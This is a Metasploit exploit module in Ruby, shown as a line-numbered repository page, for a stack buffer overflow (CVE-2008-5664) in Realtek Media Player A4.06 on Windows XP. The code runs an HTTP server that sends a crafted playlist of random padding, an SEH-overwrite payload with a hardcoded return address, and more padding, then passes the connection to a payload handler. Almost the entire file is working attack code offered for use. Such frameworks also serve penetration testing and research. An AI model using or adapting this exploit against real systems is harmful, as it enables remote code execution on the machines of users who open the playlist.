root / modules / exploits / windows / misc / realtek_playlist.rb @ master
History | View | Annotate | Download (1.8 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = GreatRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 18 |
include Msf::Exploit::Remote::Seh |
| 19 |
|
| 20 |
def initialize(info = {}) |
| 21 |
super(update_info(info,
|
| 22 |
'Name' => 'Realtek Media Player Playlist Buffer Overflow', |
| 23 |
'Description' => %q{ |
| 24 |
This module exploits a stack buffer overflow in Realtek Media Player(RtlRack) A4.06. |
| 25 |
When a Realtek Media Player client opens a specially crafted playlist, an |
| 26 |
attacker may be able to execute arbitrary code. |
| 27 |
},
|
| 28 |
'License' => MSF_LICENSE, |
| 29 |
'Author' => [ 'MC' ], |
| 30 |
'Version' => '$Revision$', |
| 31 |
'References' =>
|
| 32 |
[ |
| 33 |
[ 'CVE', '2008-5664'], |
| 34 |
[ 'OSVDB', '50715'], |
| 35 |
[ 'BID', '32860' ], |
| 36 |
], |
| 37 |
'Payload' =>
|
| 38 |
{
|
| 39 |
'Space' => 550, |
| 40 |
'BadChars' => "\x00", |
| 41 |
'StackAdjustment' => -3500, |
| 42 |
}, |
| 43 |
'Platform' => 'win', |
| 44 |
'Targets' =>
|
| 45 |
[ |
| 46 |
[ 'Realtek Media Player(RtlRack) A4.06 (XP Pro All English)', { 'Ret' => 0x72d12899 } ], # msacm32.drv 5.1.2600.0 (xpclient.010817-1148) |
| 47 |
], |
| 48 |
'Privileged' => false, |
| 49 |
'DisclosureDate' => 'Dec 16 2008', |
| 50 |
'DefaultTarget' => 0)) |
| 51 |
end
|
| 52 |
|
| 53 |
def autofilter |
| 54 |
false
|
| 55 |
end
|
| 56 |
|
| 57 |
def check_dependencies |
| 58 |
use_zlib |
| 59 |
end
|
| 60 |
|
| 61 |
def on_request_uri(cli, request) |
| 62 |
|
| 63 |
return if ((p = regenerate_payload(cli)) == nil) |
| 64 |
|
| 65 |
pla = rand_text_alpha_upper(200)
|
| 66 |
pla << generate_seh_payload(target.ret) |
| 67 |
pla << rand_text_alpha_upper(1266)
|
| 68 |
|
| 69 |
print_status("Sending exploit")
|
| 70 |
|
| 71 |
send_response_html(cli, pla, { 'Content-Type' => 'text/plain' })
|
| 72 |
|
| 73 |
handler(cli) |
| 74 |
|
| 75 |
end
|
| 76 |
|
| 77 |
end
|